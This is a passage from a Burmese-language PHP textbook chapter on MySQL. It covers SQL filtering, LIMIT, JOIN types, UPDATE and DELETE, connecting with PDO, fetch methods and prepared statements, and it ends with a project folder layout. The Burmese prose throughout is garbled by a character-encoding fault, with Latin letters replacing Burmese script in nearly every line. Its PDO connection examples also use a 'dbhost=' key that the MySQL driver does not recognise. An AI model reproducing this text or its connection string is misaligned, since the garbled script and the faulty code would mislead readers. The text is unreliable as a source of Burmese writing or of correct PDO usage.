ဒါဆိုရင်  role_id တန်oုိး  2  goစ်တဲ့  Record  dတွပဲထွက်လာမှာပါ။  တန်oုိးညီမညီ နှိုင်းယှဉ်o့ုိအတွက်
ရိုးရိုး  Programming မှာလုိ  == တို့  === တို့ကို မသံုးzဲ ရိုးရိုး  = ကိုသာသံုးပါတယ်။ အ့ဲဒါကလဲွရင် ကျန်
Comparison Operator  dတွ goစ်eကတဲ့  !=, >, >=, <, <= တို့ကို  လုိအပ်သလုိ အသံုးgပုနိုင်ပါ
တယ်။ Logical Operator အdနနဲ့ AND, OR တို့ကိုလည်း အသုံးgပုနိုင်ပါတယ်။ 

 SQL 
SELECT * FROM users WHERE role_id > 1 AND suspended = 0

role_id က  1  ထက်ကြကီးပြပီး  suspended က  0  goစ်တဲ့  Record  dတွကို  dရးွယူလုိက်တာပါ။ ရိုးရိုး
Programming  မှာ မရှိတဲ့  EXISTS, ANY, BETWEEN, LIKE  စသည်goင့် တgခား  Logical Operator  dတွ
လည်း  ကျန်ပါdသးတယ်။  အ့ဲဒါdတွအdeကာင်းကိုdတာ့  လုိအပ်လာdတာ့မှ  ဆက်လက်dလ့လာလိုက်ပါ။
dနာက်ထပ်အသံုးဝင်နိုင်တာကdတာ့ LIMIT goစ်ပါတယ်။ ထုတ်ယူတဲ့ Record အdရအတွက်ကို ကန့်သတ်
ပြပီး ထုတ်ယူoို့အတွက် သုံးနိုင်ပါတယ်။

 SQL 
SELECT * FROM users LIMIT 10



PWD 2022 – အခန်း (၃၈) – MySQL Database 594

ဒါဟာ  (၁၀)  deကာင်းပဲ  ထုတ်ယူမယ်လ့ုိ  သတ်မှတ်လုိက်တာပါ။  ဒီလုိ  LIMIT  ကန့်သတ်တဲ့အခါ  စရမယ့်
Record ကိုလည်း ထည့်dgပာနိုင်ပါတယ်။

 SQL 
SELECT * FROM users LIMIT 5, 10

ဒါဟာ  (၅)  deကာင်းdgမာက်ကdနစပြပီး  (၁၀)  deကာင့်ထုတ်ယူမယ်လ့ုိ  သတ်မှတ်လုိက်တာပါ။  ဒီdနရာမှာ
dရှ့ dနာက်အစီအစဉ် ရိှတာကိုdတာ့ သတိgပုပါ။ လဲွရင်အလုပ်မလုပ်ပါzူး။ အခုdလ့လာထားသdလာက်ကို
dပါင်းသံုးမယ်ဆိုရင် အစီအစဉ်အမှန်က ဒီလုိပါ။

 PHP 
SELECT * FROM users WHERE role_id = 1 ORDER BY name LIMIT 10

WHERE  အရင်လာပြပီး၊ dနာက်က  ORDER BY  လုိက်ပါတယ်။ ပြပီးdတာ့မှ  LIMIT  ကိုdနာက်ဆုံးကdန dရး
dပးရတာပါ။  SQL Query Language  မှာ တgခားdရးထံုးdတွ  ကျန်ပါdသးတယ်။ လုိအပ်လုိ့  ဆက်လက်
dလ့လာ အသံုးgပုရတဲ့အခါ သက်ဆိုင်ရာdရးထံုးရဲ့ အစီအစဉ်ကို Zရုgပုရပါလိမ့်မယ်။

အချက်အလက်dတွထုတ်ယူတဲ့အခါ Table (၂) ခုက အချက်အလက်dတွကို ပူးတွဲထုတ်ယူoို့ လုိတာမျ ို း ရှိ
တတ်ပါတယ်။ လက်ရှိစမ်းသပ်တည်dဆာက်ထားတဲ့  users Table  နဲ့  roles Table  မှာဆိုရင် အ့ဲဒီလို
လုိအပ်ချက်ရှိပါတယ်။  users Table  ထဲက  အချက်အလက်dတွကို  ယူလုိက်ရင်  name, email,
phone, address စတဲ့အချက်အလက်dတွနဲ့အတူ role_id လည်း တဲွပြပီးပါဝင်မှာပါ။ User ရဲ့ Role
နဲ့ပက်သက်တဲ့ အချက်အလက်dတွကို သိချင်ရင် အ့ဲဒီ  role_id ကို အသံုးgပုပြပီး  roles Table  ကdန
dနာက်တစ်ကြကိမ်  ထပ်ယူရမှာပါ။  အ့ဲဒီလုိ  နှစ်ကြကိမ်ခွဲမယူzဲ၊  စကတည်းက  Table (၂)  ခုလံုးက လုိချင်တဲ့
အချက်အလက်dတွကို တွဲယူမယ်ဆိုရင် ယူလ့ုိရတာပါ။ JOIN Statement ကိုသံုးရပါတယ်။ ဒီလိုပါ –

 SQL 
SELECT users.name, users.role_id, roles.name AS role
FROM users LEFT JOIN roles
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ဒါမgပည့်စုံdသးပါzူး။  ဒါdပမယ့်  ဒီအဆင့်မှာအရင်  သ့ူအဓိပ္ပါယ်ကို  အရင်eကည့်ချင်ပါတယ်။  SELECT  ရဲ့
dနာက်မှာ  users.name, user.role_id နဲ့  roles.name လ့ုိdgပာထားလ့ုိ  users Table  က
name Column နဲ့ role_id တို့ကိုယူပြပီး roles Table က name Column တို့ကို ယူမယ်လို့dgပာလုိက်
တာပါ။ အ့ဲဒီလုိယူတဲ့အခါ name ချင်းတူdနလ့ုိ AS နဲ့ Alias လုပ်ပြပီး roles.name ကို role လ့ုိအမည်
dgပာင်းdပးထားပါတယ်။

FROM ရဲ့dနာက်မှာ Table Name လုိက်ရတဲ့ ထံုးစံအတိုင်း users လုိက်ပါတယ်။ ပြပီးတဲ့အခါ LEFT JOIN
နဲ့  roles Table  ကို တဲွdပးလုိက်တာပါ။  LEFT JOIN ဆိုတာ zယ်zက်က Table  goစ်တဲ့  users ကို
အဓိကထားပြပီး  ယူမယ်ဆိုတဲ့  အဓိပ္ပါယ်ပါ။  RIGHT JOIN  ဆိုရင် ညာzက်က  Table  goစ်တဲ့  roles ကို
အဓိကထားမှာပါ။  အခု  LEFT JOIN  မ့ုိလ့ုိ  users ကို  အတည်ယူပြပီး  ဒီလိုရလဒ်ရdနတယ်လ့ုိ  Visualize
လုပ်eကည့်ပါ။

users.name users.role_id roles.name AS role
Alice 3

Bob 1

Tom 2

users Table က Data dတွကdတာ့ ရdနပါပြပီ။ dနာက်ကတွဲရမယ့် roles Table မှာ roles.name
dတွက အများကြကီးပါ။  User, Manager, Admin  ဆိုပြပီး  (၃)  မျ ို းရှိdနလ့ုိ zာကိုတွရဲမှာလဲ။ zာကိုတွဲရမှာ
လဲဆိုတာကို ON Statement နဲ့ ထည့်သွင်းသတ်မှတ်dပးလို့ ရပါတယ်။ ဒါdeကာင့် dစာdစာက Query ကို
အခုလုိ goည့်စွက်dပးရမှာ goစ်ပါတယ်။

 SQL 
SELECT users.name, users.role_id, roles.name AS role
FROM users LEFT JOIN roles ON users.role_id = roles.id

dနာက်ကdန  ON  users.role_id = roles.id ဆိုတဲ့  Condition  ထည့်dပးလုိက်လ့ုိ  users
Table ရဲ့ role_id Column ကတန်oုိးနဲ့ roles Table ရဲ့ id Column ကတန်oုိး တူရင်တွဲdပးရမှာဆို
တဲ့ အဓိပ္ပါယ်ပါ။ ဒါdeကာင့် ရလဒ်ကို အခုလုိပံုစံgoစ်သွားမှာပါ။
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users.name users.role_id roles.name AS role
Alice 3 Admin

Bob 1 User

Tom 2 Manager

Query  ကို  လက်dတွ့ချdရးပြပီး  စမ်းeကည့်လ့ုိရပါပြပီ။  ဒီ  JOIN  Statement  ဟာ  အdတာ်အသုံးဝင်ပြပီး
လက်dတွ့  ပdရာZျက်dတွမှာ  မeကာမeကာအသံုးgပုရdလ့  ရှိပါတယ်။  တစ်လက်စတည်း  နည်းနည်းထပ်
စဉ်းစားeကည့်ရdအာင်။  အကယ်၍  users.role_id = 4 goစ်dနရင်  zယ်လုိလုပ်မလဲ။  roles
Table မှာ id = 4 မှ မရှိတာ။

LEFT JOIN  က zယ်zက်  Table  goစ်တဲ့  users ကို အတည်ယူdပးမှာgoစ်လ့ုိ ညာzက်က  Table  မှာ
တန်oုိးရှိမရှိကို သိပ်Zရုမစိုက်ပါzူး။ မရှရိင် အလွတ်ပဲ ထားdပးလုိက်မှာပါ။ ဒါdeကာင့် ရလဒ်က အခုလုိgoစ်
သွားမှာပါ။

users.name users.role_id roles.name AS role
Alice 4

Bob 1 User

Tom 2 Manager

နမူနာမှာ Alice ရဲ့ role_id = 4 goစ်dနပြပီး roles Table မှာ id = 4 မရှိလ့ုိ ရလဒ်မှာ အလွတ်goစ်
dနတာကို dတွ့gမင်ရတဲ့ သdzာgoစ်ပါတယ်။ အကယ်၍ ဒီdနရာမှာသာ RIGHT JOIN ဆိရုင် ညာzက်က
roles Table ကို အတည်ယူမှာgoစ်လ့ုိ roles Table မှာ တန်oုိးမရှိတဲ့ Record ကို ရလဒ်မှာ ထည့်သွင်း
dပးdတာ့မှာ မဟုတ်ပါzူး။

 PHP 
SELECT users.name, users.role_id, roles.name AS role
FROM users RIGHT JOIN roles ON users.role_id = roles.id
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users.name users.role_id roles.name AS role
Bob 1 User

Tom 2 Manager

role_id = 4 goစ်dနတဲ့ Record က ရလဒ်မှာ ပါမလာdတာ့တာကို dတွ့gမင်ရgခင်းပဲ goစ်ပါတယ်။

MySQL မှာ INNER JOIN လည်းရှိပါdသးတယ်။ Table နှစ်ခုလံုးမှာ အချက်အလက်dတွ အစုံအလင်ရှိမှ ယူ
dပးမှာ goစ်ပါတယ်။ မရှိတဲ့ Record dတွကို ချန်ထားခဲ့မှာပါ။ CROSS JOIN ဆိုတာလည်း ရိှပါdသးတယ်။
zယ်/ညာ Table နှစ်ခုလံုးက ရှိသမျှအကုန် ထုတ်ယူdပးမှာ goစ်ပါတယ်။ ON နဲ့ Condition dပးစရာ မလုိ
dတာ့ပါzူး။ dရးလက်စ Query dတွမှာပဲ ကိုယ့်zာသာ dgပာင်းပြပီး စမ်းeကည့်လိုက်လ့ုိ ရပါတယ်။

Update
အချက်အလက်dတွ gပင်ဆင်လုိရင်dတာ့ UPDATE Statement ကို အသံုးgပုရပါတယ်။

UPDATE table SET column1=value1, column2=value2, … WHERE filter;

UPDATE  dနာက်မှာ  Table  Name  လုိက်ပြပီး၊  SET  dနာက်မှာ  gပင်ဆင်လုိတဲ့  တန်oုိးdတွကို
column=value ပံုစံတန်းစီပြပီးdတာ့  dပးရပါတယ်။ dနာက်ဆုံးကdန  WHERE Clause  လုိက်ရတာကို
သတိgပုပါ။  WHERE  မပါရင်လည်း  UPDATE Statement  အလုပ်လုပ်ပါတယ်။ ရှိရှိသမျှ  Record  dတွကို
dပးလုိက်တဲ့ တန်oုိးdတွနဲ့ gပင်လုိက်မှာပါ။ အ့ဲဒီလုိ ရှရိှိသမျှ အကုန်gပင်တယ်ဆိုတာ လုိခဲပါတယ်။ gပင်ချင်
တဲ့ အချက်အလက်ကို dရွးgပင်o့ုိသာ လုိအပ်dလ့ရှိလ့ုိ WHERE နဲ့ dရးွdပးတဲ့သdzာပါ။ 

 PHP 
UPDATE users SET role_id = 2, updated_at = NOW() WHERE id = 5

ဒါဟာ id = 5 တန်oုိးရှိတဲ့ Record ရဲ့ role_id နဲ့ updated_at တို့ကို gပင်လုိက်တဲ့ Query goစ်ပါ
တယ်။
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Delete
အချက်အလက်dတွ ပယ်oျက်လုိရင်dတာ့ DELETE FROM Statement ကို အသံုးgပုရပါတယ်။

DELETE FROM table WHERE filter;

သူလည်းပဲ UPDATE လုိပါပဲ။ WHERE Clause မပါရင်လည်း အလုပ်လုပ်ပါတယ်။ ရှိသမျှအကုန် oျက်လိုက်
မှာပါ။ အ့ဲဒီလုိ ရှိသမျှအကုန်oျက်o့ုိအတွက် လုိအပ်ချက်နည်းပါတယ်။ ဒါdeကာင့် dနာက်ကdန WHERE နဲ့
ပယ်oျက်လုိတဲ့ Record ကို dရွးdပးရမှာ goစ်ပါတယ်။

DELETE FROM users WHERE id = 5

ဒါဟာ id = 5 တန်oုိးရှိတဲ့  Record  ကို ပယ်oျက်လုိက်တာပါ။ လုိအပ်ရင် တgခား  Filter  dတွကိုလည်း
သံုးနိုင်ပါတယ်။  အများအားgoင့်dတာ့  id နဲ့ပဲစီမံeကမှာပါ။  Table  တည်dဆာက်စဉ်မှာ  Primary  Index
သတ်မှတ်ထားတဲ့  id Column  ထည့်ခဲ့တယ်ဆိုတာ  ဒီလုိတစ်ခုချင်း  တိတိကျကျစီမံရတဲ့  ကိစ္စdတွမှာ
အသံုးgပုoို့ပဲ goစ်ပါတယ်။

MySQL & PHP
PHP  ကို  MySQL,  MSSQL,  Oracle,  PostgreSQL,  SQLite  စတဲ့  Database  နည်းပညာအားလံုးနဲ့
ချတိ်ဆက် အသုံးgပုနိုင်ပါတယ်။ အ့ဲဒီလုိ ချတိ်ဆက်အသုံးgပုo့ုိအတွက်  PDO လ့ုိdခါ်တဲ့နည်းပညာ တစ်မျ ို း
ရိှပါတယ်။ ပံုမှန်အားgoင့် PHP Extension အdနနဲ့ထပ်မံထည့်သွင်းdပးoို့ လုိနိုင်dပမယ့် XAMPP   ကို   Install  
လုပ်လုိက်စဉ်မှာ   PDO Extension   လည်းတစ်ခါထဲ ပါဝင်သွားပြပီးသားမ့ုိလ့ုိ   အသင့် အသံုးgပုနိုင်ပါတယ်။

MySQL Database နဲ့ချတိ်ဆက်အလုပ်လုပ်o့ုိအတွက် mysqli_connect() အပါအဝင် mysqli နဲ့စ
တဲ့  Function dတွလည်း ရိှပါdသးတယ်။ Professional Web Developer စာအုပ်မှာဆိုရင် mysqli နဲ့စ
တဲ့  Function  dတွကို  အသုံးgပုပြပီး  MySQL  နဲ့ချတိ်ဆက်အလုပ်လုပ်ပံုကို  doာ်gပထားပါတယ်။ ဒါdပမယ့်
PDO  က ပုိdကာင်းတဲ့  နည်းပညာလုိ့  ဆိုနိုင်ပါတယ်။  MySQL  နဲ့သာမက တgခား  Database  နည်းပညာ
အမျ ို းမျ ို းနဲ့  တွဲoက်အသံုးgပုနိုင်တာနဲ့တင်  သ့ူရဲ့အားသာချက်က  dပါ်လွင်dနပါပြပီ။  mysqli Function
dတွက dလ့လာရတာ ပုိလွယ်dပမယ့် ဒီစာအုပ်မှာ PDO ကို အသံုးgပုပြပီးdတာ့ doာ်gပသွားမှာ goစ်ပါတယ်။
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Connecting Database
ပထမဆုံး အdနနဲ့ PDO Class ကိုသံုးပြပီး Object တည်dဆာက်dပးရပါမယ်။ အ့ဲဒီလုိ တည်dဆာက်တဲ့အခါ
Construct Argument အdနနဲ့ Data Source Name (DSN) ကိုdပးရပါတယ်။ ဒီလုိပါ –

$db = new PDO('mysql:dbhost=localhost;dbname=project');

dပးလုိက်တဲ့  DSN  ကိုdလ့လာeကည့်ရင် dရှ့ဆုံးက mysql နဲ့စတာကို dတွ့ ရနိုင်ပါတယ်။  Driver Name
လ့ုိdခါ်ပါတယ်။  SQLite  Database  ကိုဆက်သွယ်လိုတာဆိရုင်  ဒီdနရာမှာ  sqlite goစ်ပါလိမ့်မယ်။
အလားတူပဲ  အgခား  Database  အမျ ို းအစားဆိုရင်လည်း  သက်ဆိုင်ရာ  Driver  Name  ကို  dပးရမှာပါ။
Driver  Name  ရဲ့dနာက်မှာ  dbhost နဲ့  Database Server  လိပ်စာကို  dပးရပါတယ်။ လက်ရှိကdတာ့
localhost ပဲgoစ်ပါတယ်။ ပြပီးတဲ့အခါ dbname နဲ့ အသုံးgပုလုိတဲ့ Database Name ကိုdပးပါတယ်။

အထဲမှာ Colon dတွ၊ Equal သdက[တdတွ၊ Semicolon dတွနဲ့  dရးရတဲ့အတွက် နည်းနည်းမျက်စိရှုပ်ချင်
စရာdတာ့ goစ်dနနိုင်ပါတယ်။ Zရုစိုက်eကည့်dပးပါ။ dနာက်ထပ် ရှုပ်စရာdလးdတွ ရိှdနပါdသးတယ်။

လက်ရှိနမူနာက  မgပည့်စုံdသးပါzူး။  MySQL  Database  Server  ကို  ဆက်သွယ်တဲ့အခါ  မှန်ကန်တဲ့
Username  နဲ့  Password  dပးo့ုိလုိပါတယ်။  XAMPP  ကထည့်သွင်းdပးလုိက်တဲ့  MySQL  ရဲ့  Default
Username  က  root goစ်ပြပီး  Password  dတာ့ သတ်မှတ်ထားgခင်း မရှိပါzူး။ ဒါdeကာင့် gပည့်စုံdအာင်
အခုလုိ dရးdပးရမှာပါ။

$db = new PDO('mysql:dbhost=localhost;dbname=project', 'root', '');

ပထမ  Argument  အတွက်  DSN  ကိုdပးပြပီး  ဒုတိယနဲ့  တတိယ  Argument  dတွအgoစ်  Username  နဲ့
Password  ကိုdပးလုိက်တာပါ။  ဒါဆိုရင်dတာ့  Database  ချတိ်ဆက်မှု  dအာင်gမင်သွားပါပြပီ။  dအာင်gမင်
သွားပြပီဆိုdပမယ့်၊ ပုိgပည့်စုံdအာင် dနာက်ထပ် goည့်စွက်စရာdလး ကျန်ပါdသးတယ်။ ဒီလုိပါ – 
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$db = new PDO('mysql:dbhost=localhost;dbname=project', 'root', '', [
PDO::ATTR_ERRMODE => PDO::ERRMODE_WARNING,
PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_OBJ,

]);

dနာက်ဆုံး (၄) ခုdgမာက် Argument အdနနဲ့ Option Array တစ်ခုကို dပးထားပြပီး၊ အထဲမှာ Error Mode
နဲ့  Fetch Mode  သတ်မှတ်ချက်တို့  ပါဝင်ပါတယ်။  ဒါdတွက  PDO  မှာပါတဲ့  Default  Constant  dတွပါ။
Default Error Mode က SILENT goစ်ပါတယ်။ ဒါdeကာင့် Error ရှရိင် gပမှာ မဟုတ်ပါzူး။ သိချင်ရင် ကိုယ့်
zာသာ ထုတ်eကည့်ရပါတယ်။  အလုပ်ရှုပ်ပါတယ်။  ဒါdeကာင့်  အခုရှုပ်မှ  dနာင်ရှင်းdအာင်  စကတည်းက
Error Mode ကို WARNING လ့ုိ dgပာလုိက်တာပါ။ Error ရှိလာခဲ့ရင် Warning အdနနဲ့ doာ်gပdပးdစo့ုိ goစ်
ပါတယ်။ Fetch Mode ဆိုတာ Data ထုတ်ယူတဲ့အခါ gပန်ရမယ့် ရလဒ်ရဲ့ oဲွ့စည်းပံု goစ်ပါတယ်။ Default
Fetch Mode  က  Array  goစ်ပါတယ်။  gပဿနာdတာ့  မရှိပါzူး။  ဒါdပမယ့်  Object-Oriented  ပံုစံ  dရး
လက်စနဲ့ gပန်ရတဲ့ Data ကို Object အdနနဲ့ယူလုိက်တာက dရးရတဲ့ကုဒ်ကို ပုိပြပီးdတာ့ Consistence goစ်
သွားdစနိုင်လ့ုိ Fetch Mode ကို OBJ လ့ုိ သတ်မှတ်dပးလုိက်တာပါ။ ဒါdeကာင့် Data ထုတ်ယူတဲ့အခါ ရတဲ့
ရလဒ်ကို Object အdနနဲ့ ရရိှမှာgoစ်ပါတယ်။

နမူနာစမ်းသပ်ပြပီး  Data  dတွထုတ်eကည့်နိုင်o့ုိအတွက်  PDO  မှာ  Fetch  Method  (၃)  မျ ို းရှိပါတယ်။
fetch(), fetchAll()  နဲ့�� fetchObject() တို့goစ်ပါတယ်။ fetchAll() ကို အသံုးgပုပြပီး
အခုလုိ စမ်းသပ် eကည့်နိုင်ပါတယ်။

 PHP 
<?php
$db = new PDO('mysql:dbhost=localhost;dbname=project', 'root', '', [

PDO::ATTR_ERRMODE => PDO::ERRMODE_WARNING,
PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_OBJ,

]);

$statement = $db->query("SELECT * FROM roles");
$result = $statement->fetchAll();
print_r($result);
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ရလဒ်အdနနဲ့ roles Table ထဲမှာရှိတဲ့ Record dတွကို Object Array တစ်ခုအdနနဲ့ အခုလုိ gပန်ရတာကို
dတွ့ရမှာပဲ goစ်ပါတယ်။

Array
(
    [0] => stdClass Object
        (
            [id] => 1
            [name] => User
            [value] => 1
        )

    [1] => stdClass Object
        (
            [id] => 2
            [name] => Manager
            [value] => 2
        )

    [2] => stdClass Object
        (
            [id] => 3
            [name] => Admin
            [value] => 3
        )

)

အခုရှုပ်မှ dနာင်ရှင်းဆိုတာ ဒါမျ ို းကို dgပာတာပါ။  Database  ကိုဆက်သွယ်စဉ်မှာ လုိအပ်တာdတွ အကုန်
သတ်မှတ်ထားလ့ုိ  အခုလုိ  အလွယ်တစ်ကူ  ထုတ်ယူရရှိgခင်းgoစ်ပါတယ်။  fetchAll()   Method    က ရှိ  
သမျှ    Record    အားလံုးကို  တစ်ခါထဲ  အကုန်ထုတ်ယူလုိက်တာgoစ်လ့ုိ    Record    dတွသိပ်များတဲ့အခါ  
အဆင်dgပချင်မှ  dgပပါလိမ့်မယ်။  များတယ်ဆိုတာ သိန်းZဏနေန်းရှိတဲ့  Record  dတွကို  dgပာတာပါ။  သိန်း
Zဏနေန်းရှိတဲ့  Record  dတွကိုသာ  အကုန်oတ်ယူပြပီး  တစ်ခါထဲ  Object  Array  အdနနဲ့  gပန်dပးလုိက်ရင်
gပဿနာdတွ  တက်ကုန်ပါလိမ့်မယ်။  ဒီလိုအdgခအdနမျ ို းမှာ  fetch() သ့ုိမဟုတ်  fetchObject()
ကို သံုးနိုင်ပါတယ်။ ဒီ  Method dတွကတစ်ကြကိမ်မှာ တစ်deကာင်းသာ ထုတ်ယူdပးတဲ့  Method dတွပါ။ ဒီ
လုိစမ်းeကည့်နိုင်ပါတယ်။
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$statement = $db->query("SELECT * FROM roles");
$row1 = $statement->fetch();
$row2 = $statement->fetch();
$row3 = $statement->fetch();
print_r($row1);
// stdClass Object
// (
//     [id] => 1
//     [name] => User
//     [value] => 1
// )

(၃) deကာင်းရှိမှန်းသိလို့  fetch() ကို သံုးကြကိမ် Run ထားပါတယ်။ တစ်ကြကိမ်မှာတစ်deကာင်းပဲ ရမှာgoစ်
လ့ုိ $row1 ထဲမှာ ပထမတစ်deကာင်း ရှိပြပီး၊ $row2 ထဲမှာ ဒုတိယတစ်deကာင်း ရှိdနမှာပါ။ ဒီနည်းနဲ့ တစ်
deကာင်းပြပီးတစ်deကာင်း dထာက်ယူရတာ နည်းနည်းအလုပ်ပို ရှုပ်သွားdပမယ့် Data များရင်dတာ့ ဒီနည်း
ကို အသံုးgပုရမှာ goစ်ပါတယ်။

fetchObject() က  fetch() နဲ့  အတူတူပါပဲ။  Fetch Mode  ကို  OBJ  လ့ုိ ကြကိုတင်မသတ်မှတ်zဲ
ရလဒ်ကို Object အdနနဲ့လုိချင်ရင် fetchObject() ကို သံုးရတာပါ။ အခုdတာ့ ကြကိုတင်သတ်မှတ်ပြပီး
သားမို့လ့ုိ မလုိအပ်dတာ့ပါzူး။ ရိုးရိုး fetch() နဲ့တင် အဆင်dgပdနပါပြပီ။

Data dတွထည့်သွင်းတာလည်း ဒီနည်းအတိုင်းပါပဲ။ INSERT Query ကိုdပးလုိက်ရင် ထည့်သွင်းdပးသွားပါ
လိမ့်မယ်။ ဒီလိုစမ်းeကည့်နိုင်ပါတယ်။

$sql = "INSERT INTO roles (name, value) VALUES ('Supervisor', 4)";
$db->query($sql);
echo $db->lastInsertId(); // 4

နမူနာမှာ lastInsertId() Method ကိုသတိgပုပါ။ အသံုးဝင်ပါတယ်။ ထည့်သွင်းလုိက်တဲ့ Record ရဲ့
Auto Increment ID တန်oုိးကို gပန်dပးပါတယ်။ စမ်းeကည့်ပြပီး အမှန်တစ်ကယ် သိမ်းဆည်းသွားgခင်း ရိှမရှိ
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ကို phpMyAdmin ကdနတစ်ဆင့် roles Table မှာ dလ့လာeကည့်နိုင်ပါတယ်။

ဒီdနရာမှာ  goည့်စွက်dလ့လာရမှာကdတာ့  Prepare  Statement  လ့ုိdခါ်တဲ့  အdရးပါတဲ့  dရးဟန်goစ်ပါ
တယ်။ dစာdစာက ကုဒ်ကို အခုလုိdရးရင် ပုိdကာင်းပါတယ်။

$sql = "INSERT INTO roles (name, value) VALUES (:name, :value)";
$statement = $db->prepare($sql);
$statement->execute([
    ':name' => 'God',
    ':value' => 999
]);

echo $db->lastInsertId();   // 5

dသချာသတိgပုeကည့်ပါ။  SQL Query    ထဲမှာ  တစ်ကယ့်    Data    မပါdတာ့ပါzူး  ။  Placeholder  လ့ုိdခါ်တဲ့
Data  လာမယ့်  dနရာအမှတ်အသားပဲ  ပါပါdတာ့တယ်။  နမူနာမှာ  :name နဲ့  :value တို့ဟာ
Placeholder dတွgoစ်eကပါတယ်။ အ့ဲဒီလုိ Data မပါdသးတဲ့  Query ကို prepare() Method နဲ့ အရင်
ဆုံး  Prepare လုပ်ပါတယ်။ ပြပီးdတာ့မှ  execute() Method နဲ့ အစားထုိးအသံုးgပုရမယ့် Data dတွကို
dပးလုိက်တာပါ။ ရလဒ်က အတူတူပါပဲ။ ဒါdပမယ့် ဒီနည်းကdန အားသာချက် (၂) ချက်ကိုရမှာပါ။

ပထမတစ်ချက်ကdတာ့၊ Query တစ်ခု Run o့ုိအတွက် Database က လုိအပ်တဲ့ gပင်ဆင်မှုdတွ တွက်ချက်
မှုdတွ  လုပ်ရပါတယ်။  ဒီအလုပ်ကို  ပံုမှန်အားgoင့်  Query  (၁၀)  ခါ  Run  ရင်  (၁၀)  ခါ  လုပ်ရပါတယ်။
Prepare  Statement  ကို  အသံုးgပုတဲ့အခါ  Data  မပါတဲ့  Query  အလွတ်ကို  တစ်ကြကိမ်သာ  gပင်ဆင်
တွက်ချက်မှု လုပ်ပါdတာ့တယ်။ dနာက်ပုိင်းမှာ Data ကိုzယ်နှစ်ခါပဲdပးdပး Run ရမယ့် Query ကိုgပန်ပြပီး
dတာ့ gပင်ဆင်တွက်ချက်စရာ မလုိအပ်dတာ့ပါzူး။ ဒါdeကာင့်  Query    dတွ ထပ်ခါထပ်ခါ    Run    တဲ့အခါ ဒီ  
နည်းက သိသိသာသာ ပုိgမန်သွားdစမှာပဲ goစ်ပါတယ်။

dနာက်တစ်ချက်ကdတာ့  SQL  Injection  လ့ုိdခါ်တဲ့  လံုခြခုံdရးgပဿနာကို  ဒီနည်းက  အလုိအdလျှာက်
အကာအကွယ်dပးပါတယ်။  SQL  Injection  ရဲ့  သdzာသzာဝကို  Security  အခန်းdရာက်တဲ့အခါမှ
ထပ်dgပာပါမယ်။  ဒီdနရာမှာdတာ့  Query  နဲ့  Data  ကို  နှစ်ပုိင်း  ခွဲထုတ်လုိက်တဲ့အတွက်  Data  ထဲမှာ
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Database  ကို  ထိခိုက်dစနိုင်တဲ့  အန္တရာယ်ရှိတဲ့  အချက်အလက်dတွ  ပါဝင်လာခဲ့ရင်၊  အ့ဲဒီအချက်အလက်
dတဟွာ Query ကို Prepare လုပ်စဉ်မှာ ပါဝင်သွားမှာ မဟုတ်တဲ့အတွက် အန္တရာယ် မdပးနိုင်dတာ့zူးလို့
မှတ်နိုင်ပါတယ်။ ကျန်လုပ်ငန်းdတွgoစ်တဲ့ Update နဲ့ Delete တို့ကို စမ်းသပ်လိုရင် အခုလုိ စမ်းသပ်eကည့်
နိုင်ပါတယ်။

$sql = "UPDATE roles SET name=:name WHERE value = 999";
$statement = $db->prepare($sql);
$statement->execute([
    ':name' => 'Superman'
]);

echo $statement->rowCount();   // 1

ဒီdနရာမှာ အသံုးgပုထားတဲ့ rowCount() Method ကိုလည်း ထည့်သွင်းမှတ်သားပါ။ အသံုးဝင်ပါတယ်။
Query တစ်ခု Run လုိက်တဲ့အတွက် goစ်dပါ်သွားတဲ့ အdgပာင်းအလဲ Record အdရအတွက်ကို gပန်dပးပါ
တယ်။  dစာdစာက  INSERT  မှာ  သံုးခဲ့တဲ့  lastInsertId() ကို  $db dပါ်မှာ  Run  ရပြပီး
rowCount() ကို $statement dပါ်မှာ Run ရတယ်ဆိုတာကို သတိgပုပါ။ မတူeကပါzူး။

$sql = "DELETE FROM roles WHERE id > 3";
$statement = $db->prepare($sql);
$statement->execute();
echo $statement->rowCount();   // 2

ဒီတစ်ခါ  DELETE FROM Query  ကို  Run  ထားတာပါ။  id တန်oုိး  3  ထက်ကြကီးတာ နှစ်ခုရှိdနလ့ုိ  နှစ်
deကာင်း ပျက်သွားပါတယ်။ ဒါdeကာင့် rowCount() က 2 ကိုgပန်dပးတာပါ။

ဒီdလာက်ဆိုရင်  PDO  ကို  အသံုးgပုပြပီး  Database  နဲ့ချတိ်ဆက်ပြပီး  Data  dတွစီမံပုံကို  သိရှိသွားပါပြပီ။
dနာက်တစ်ခန်းမှာ လုပ်လက်စ ပdရာZျက်နဲ့အတူ ဒီကုဒ်dတွကို လက်dတွ့အသံုးချသွားeကမှာပါ။
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အခန်း (၃၉) – PHP Project

 

dလ့လာချင်တာdတွလည်း  စုံသင့်သdလာက်  စုံသွားပြပီမို့လ့ုိ  dရးလက်စ  ပdရာZျက်dလးကို  လက်စသတ်
ချင်ပါတယ်။ ပdရာZျက်ရဲ့ Folder Structure အgပည့်အစုံကို အရင်ဆုံး doာ်gပလုိက်ပါတယ်။
 

project/
├── _actions/
│     ├── photos/
│     ├── create.php
│     ├── delete.php
│     ├── login.php
│     ├── logout.php
│     ├── populate.php
│     ├── role.php
│     ├── suspend.php
│     ├── unsuspend.php
│     └── upload.php
│
├── _classes/
│     ├── Helpers/
│     │     ├── Auth.php
│     │     └── HTTP.php
│     └── Libs/
│           └── Database/
│                ├── MySQL.php
│                └── UsersTable.php
├── css/
│     └── bootstrap.min.css
│
├── js/
│     └── bootstrap.bundle.min.js
│
├── admin.php
├── composer.json
├── index.php
├── profile.php
└── register.php
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ပထမဆုံး  _actions oုိဒါထဲမှာ တိုးသွားတဲ့oုိင်dတွကို  အရင်သတိgပုပါ။  create.php က  Register
လုပ်တဲ့အခါ  User  Account  ကို  users Table  ထဲမှာ  သိမ်းတဲ့ကုဒ်dရးo့ုိပါ။  delete.php ကdတာ့
User Account ကို gပန်oျက်တဲ့ကုဒ်dရးoို့ပါ။  populate.php ကdတာ့  users Table ထဲမှာ စမ်းစရာ
နမူနာ Account dတွခပ်များများ ထည့်dပးလုိက်o့ုိပါ။ role.php ကdတာ့ User ရဲ့ Role dgပာင်းတဲ့ကုဒ်
dရးoို့ပါ။ suspend.php နဲ့ unsuspend.php တိုက့dတာ့ User ကို Ban တဲ့ကုဒ်နဲ့ gပန်oွင့်dပးတဲ့ကုဒ်
dတွ dရးoုိ့goစ်ပါတယ်။

